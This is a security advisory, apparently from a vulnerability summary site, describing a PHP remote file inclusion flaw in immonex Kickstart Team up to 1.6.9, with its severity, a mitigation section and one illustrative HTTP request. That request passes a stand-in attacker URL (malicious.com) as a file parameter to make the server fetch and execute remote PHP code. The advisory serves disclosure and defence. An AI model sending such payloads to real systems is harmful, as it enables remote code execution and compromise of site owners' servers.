Overview
This report addresses the CVE-2025-57925 vulnerability, an issue arising from the improper control of filename for Include/Require Statement in PHP programs. This vulnerability affects immonex Kickstart Team versions up to 1.6.9 and can result in a significant security breach, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-57925
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise or data leakage.
Affected Products
Product | Affected Versions
immonex Kickstart Team | Up to 1.6.9
How the Exploit Works
The exploit works by taking advantage of the PHP Remote File Inclusion vulnerability in the immonex Kickstart Team. This vulnerability arises from the improper control of filename for Include/Require Statement in PHP programs. A malicious actor may leverage this vulnerability to include a file from a remote server that contains malicious PHP code, leading to the execution of arbitrary PHP code on the affected system.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
GET /vulnerable_file.php?file=http://malicious.com/malicious.php HTTP/1.1
Host: target.example.com
In this example, the attacker sends a GET request to a vulnerable PHP file on the target host, passing a URL of a remote malicious PHP file as a parameter. The server then includes this remote file, executing the malicious PHP code.
Mitigation Guidance
To mitigate the effects of this vulnerability, users are advised to apply the vendor patch as soon as it is available. In the meantime, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure against possible exploits.
